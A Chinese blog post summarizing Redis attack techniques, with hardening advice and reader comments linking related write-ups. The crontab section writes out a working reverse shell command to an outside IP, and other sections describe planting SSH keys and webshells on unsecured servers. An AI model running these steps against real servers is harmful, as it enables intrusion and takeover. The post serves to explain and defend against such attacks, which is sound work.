=Start=
缘由:
近年来,随着Redis的流行,越来越多的安全研究人员注意到了Redis的安全问题,并通过Redis发起攻击。虽然我不做那方面,但是了解一下和Redis相关的安全攻击手段也是很有必要的。
正文:
和Redis相关的安全问题:
- 远程未授权访问
利用条件:默认情况下如果没有用「bind指令」对可连接IP做限制,则会出现「远程未授权访问」的情况,易被攻击者用来获取敏感信息以及进行进一步攻击。
利用方式:本地直接用redis-cli或图形化的工具连接远程的Redis数据库。
- 获取Webshell
利用条件:redis远程未授权访问,知道Web目录的绝对路径,且运行redis的用户有对Web目录的写权限。
利用方式:连上远端未授权访问的redis并用命令向Web目录写入一句话木马(也可以是大马),然后本地用菜刀连接。
- 获取SSH连接
利用条件:redis远程未授权访问,知道运行redis的用户名,且运行redis的用户可以进行SSH连接。
利用方式:在本地生产公私钥文件,然后连上远端redis并将自己的公钥写入远端服务器的 authotrized_keys 文件里,然后攻击者即可远程利用自己的私钥登录该服务器。
- 通过Redis提权
利用条件:已获取一个低权限的Webshell,服务器上运行着本地可访问的redis,且运行redis的用户权限较高。
利用方式:通过Webshell操作redis写SSH key文件以进行提权操作。
- 其他的一些利用(Redis+crontab)
$ redis-cli config set dir /var/spool/cron/ $ redis-cli config set dbfilename root $ echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/10.2.11.11/8443 0>&1 \n\n" | redis-cli -x set 1 $ redis-cli save [[email protected] ~]$ nc -lvv 8443
- Redis安全配置
- 以低权限启动;
- 设置bind指令,限定可以连接Redis服务器的IP;
- 修改Redis的默认端口;
- 设置密码;
- 禁用部分危险命令;
- 如果必需要对外提供服务的话,设置iptables规则;
参考链接:
- 利用redis写webshell
http://www.leavesongs.com/PENETRATION/write-webshell-via-redis-server.html
http://www.secpulse.com/archives/5357.html - redis配置不当可直接导致服务器被控制
http://www.secpulse.com/archives/40406.html - Redis 未授权访问配合 SSH key 文件利用分析
http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/ - Redis未授权访问
http://singled0g.com/2015/11/12/redis-attack/
http://www.cdxy.me/tag/redis/ - Redis安全总结
http://bl4ck.in/index.php/penetration/Attack-Redis.html - A few things about Redis security
http://antirez.com/news/96
https://www.reddit.com/r/redis/comments/3zv85m/new_security_feature_redis_protected_mode/
https://news.ycombinator.com/item?id=10537852
http://static.nosec.org/download/redis_crackit_v1.1.pdf - redis利用姿势收集
https://phpinfo.me/2016/07/07/1275.html
=END=
《 “Redis安全小结” 》 有 12 条评论
聊一聊服务器的安全基线—安全小课堂第三十九期
https://www.secpulse.com/archives/54373.html
扫描公开外网端口的redis(未授权远程登录)服务器并提权简要教程
https://www.lvtao.net/tool/redis-root.html
`
1、扫描端口查找有redis服务的服务器
2、连接查看是否需要授权
3、查看config dir
4、设置config dir
5、生成私钥和公钥
6、上传公钥到服务器
7、把公钥设置到服务器私钥认证文件
8、使用私钥登陆服务器
`
【脉搏沉淀系列】未授权访问漏洞总结
https://www.secpulse.com/archives/61101.html
不请自来 | Redis 未授权访问漏洞深度利用
http://www.freebuf.com/vuls/148758.html
redis未授权批量提权脚本(python)
https://evi1cg.me/archives/hackredis.html
不请自来 | Redis 未授权访问漏洞深度利用
http://www.freebuf.com/vuls/148758.html
Redis 未授权访问配合 SSH key 文件利用分析
https://www.waitalone.cn/redis-unauthorized-of-expolit.html
http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/
七大维度谈NoSQL数据库安全风险
https://mp.weixin.qq.com/s/66dcQNYhLNevm0wheITKWg
`
NoSQL数据库在设计之初,就是为大大提升用户使用效率,所以并未做安全考虑。因此,NoSQL数据库普遍存在大量安全问题。安全问题主要可以分为七大类,分别为:
· 身份认证
· 权限控制
· 审计
· 通讯加密
· 数据加密
· NoSql注入
· 自身安全漏洞
`
Linux Redis自动化挖矿感染蠕虫分析及安全建议
https://mp.weixin.qq.com/s/inazTPN5mHJYnt2QDliv8w
`
病毒清理和系统恢复
我们主要参考脚本的相关行为进行对应的行为恢复和删除即可:
· 关闭SELINUX,根据系统原环境和业务需要重新开启SELINUX
· 清空了/var/spool/cron,根据原先备份清空恢复
· 修改/etc/resolv.conf增加DNS服务8.8.8.8,如无影响可不处理,或者删除
· 修改了系统资源限制(/etc/security/limits.conf),可根据备份情况恢复
· 增加了对6379端口的Iptables规则,如果不影响业务,建议保留
· Kill了相关进程,检查是否包含业务所需进程,根据情况恢复
· 安装了相关包,具体列表见上文,可根据情况删除或者如无影响可保留
· 编译安装了pnscan,可删除/usr/local/bin/pnscan
· 清除了相关日志和tmp目录,对系统无影响,可忽略
· 启动了挖矿进程和pnscan扫描感染,进程:.gpg、pnscan,直接kill
还包含了一些中间文件,虽然脚本包含相关删除操作,但建议还是全局查找确认:
.mxff0、.x112、.gpg、.dat、.cmd、.r.xx.xx.o/l、tmp.xxxx
`
一个致命的 Redis 命令,导致公司损失 400 万!!
http://cmsblogs.com/?p=2765
https://www.jianshu.com/p/8c370138a828
`
据云头条报道,某公司技术部发生 2 起本年度 PO 级特大事故,造成公司资金损失 400 万,原因如下:
由于 PHP 工程师直接操作上线 redis,执行 keys * wxdb(此处省略)cf8* 这样的命令,导致redis锁住,导致 CPU 飙升,引起所有支付链路卡住,等十几秒结束后,所有的请求流量全部挤压到了 rds 数据库中,使数据库产生了雪崩效应,发生了数据库宕机事件。
该公司表示,如再犯类似事故,将直接开除,并表示之后会逐步收回运维部各项权限。
看完这个消息后,我心又一惊,为什么这么低级的问题还在犯?为什么线上的危险命令没有被禁用?这事件报道出来真是觉得很低级。。。
且不说是哪家公司,发生这样的事故,不管是大公司还是小公司,我觉得都不应该,相关负责人应该引咎辞职!!!
对 Redis 稍微有点使用经验的人都知道线上是不能执行 keys * 相关命令的,虽然其模糊匹配功能使用非常方便也很强大,在小数据量情况下使用没什么问题,数据量大会导致 Redis 锁住及 CPU 飙升,在生产环境建议禁用或者重命名!
怎么禁用或重命名危险命令?
看下 redis.conf 默认配置文件,找到 SECURITY 区域,看说明,添加 rename-command 配置即可达到安全目的。
1)禁用命令
rename-command KEYS “”
rename-command FLUSHALL “”
rename-command FLUSHDB “”
rename-command CONFIG “”
2)重命名命令
rename-command KEYS “XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX”
rename-command FLUSHALL “XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX”
rename-command FLUSHDB “XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX”
rename-command CONFIG “XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX”
上面的 XX 可以定义新命令名称,或者用随机字符代替。
经过以上的设置之后,危险命令就不会被客户端执行了。
`
事件分析 | 一起攻击者利用 Redis 未授权访问漏洞进行新型入侵挖矿事件
https://mp.weixin.qq.com/s/guCgsp3rgnL-KpPYBof7ZQ
如何排查常见挖矿木马
https://mp.weixin.qq.com/s/FhcoPGXG_udkRCj3AFOmxA
`
0x00 什么是挖矿?
寻找代码获得奖励的过程就是挖矿。但是要计算出符合条件的值需要进行上万亿次的哈希运算,这个过程需要大量的算力,于是部分黑客就会通过入侵服务器的方式来控制别人的计算机帮助自己挖矿。
挖矿木马一般为自动化扫描、攻击、部署挖矿进程的脚本,攻击者首先将挖矿脚本放在远程主机上,通过常见或最新爆出的可命令执行的自动化漏洞利用脚本获得主机的控制权后,登陆主机,利用wget或curl直接下载远程挖矿进程部署脚本,执行脚本进行挖矿进程的部署、隐藏、持久化和痕迹清除等工作。
挖矿流程一般为:
通过已知漏洞获得主机控制权
下载远程挖矿脚本
删除本机中可能存在的其他挖矿进程(可见黑产竞争的激烈程度)
生成特征文件避免重复感染
判断主机系统类型和位数,隐藏并运行挖矿进程
如果有GPU则进行GPU挖矿
挖矿进程的驻留与持久化
部分有蠕虫功能的脚本还会以当前主机为跳板,利用已知漏洞和弱口令进行局域网扫描,以控制更多主机。
清除痕迹
0x01 常见被挖矿的原因
大部分的挖矿都是由于受害者的主机上存在常见的漏洞。比如:
1、未授权访问或弱口令:Redis未授权访问、Docker API未授权访问,Hadoop Yarn 未授权访问、NFS未授权访问、Rsync弱口令、PostgreSQL弱口令、Tomcat弱口令、SSH弱口令、Telnet弱口令、Windows远程桌面弱口令;
2、远程命令执行漏洞:WebLogic XML 反序列化漏洞、Jenkins反序列化、Jboss远程代码执行、Spring远程代码执行、ElasticSearch命令执行、永恒之蓝、Struts2系列漏洞、常见CMS的远程命令执行漏洞;
3、新爆的高危漏洞:一般每次爆发新的高危漏洞,都会紧跟一波大规模的全网扫描利用和挖矿。
0x02 被挖矿特征
1、主机CPU使用率飙升
2、电费激增
0x03 排查过程
1. 确定挖矿进程
top/ps/lsof
/proc
rpm -Va
cat /etc/ld.so.preload 或 echo $LD_PRELOAD
2. 查看挖矿进程所属用户
3. 查看用户进程
4. 确定原因
0x04 清除挖矿木马
1. 及时隔离主机
2. 阻断与矿池通讯
3. 清除定时任务
4. 清除启动项
5. 清除公钥文件
6. kill挖矿进程
0x005 挖矿进程清除实例
1. ddgs.3014清除
2. zigw清除
`
redis高可用原理
https://www.codedump.info/post/20190409-redis-sentinel/
`
主从复制
旧版本全量复制功能的实现
新版本全量复制功能的实现
复制偏移量
复制积压缓冲区
服务器运行ID
psync命令流程
哨兵机制概述
三个监控任务
info命令
向__sentinel__:hello频道同步信息
向数据节点做心跳探测
主观下线和客观下线
主观下线
客观下线
选举哨兵领导者
选出新的主节点
提升新的主节点
`
正式支持多线程!Redis 6.0与老版性能对比评测
https://mp.weixin.qq.com/s/6WQNq5dNk-GuEhZXtVCo-A
redis数据库在渗透中的利用
https://xz.aliyun.com/t/8018
`
本文主要以redis未授权和redis弱口令漏洞为前提进行利用方式的讲解。
* Redis数据库安装
* Apache和php安装
* redis-cli
* Redis Desktop Manage
* 蚁剑redis数据库插件
* 写入webshell
* 写入ssh公钥
* 写定时任务反弹shell
* 模块加载执行命令
* 主从复制rce
# 防御建议
设置密码并且保证密码口令为强口令
以低权限启动redis数据库
不允许数据库外联并且设置白名单ip
# 总结
当目标为ubuntu的时候,由于自身机制原因,是没办法进计划任务写入的利用。
一切关于写入的操作都是覆盖,操作的时候一定要慎重。
根据不同的环境选择不同的连接方式可以更好的进行利用。
模块加载和主从复制rce目标数据库版本必须大于等于4.0.0
`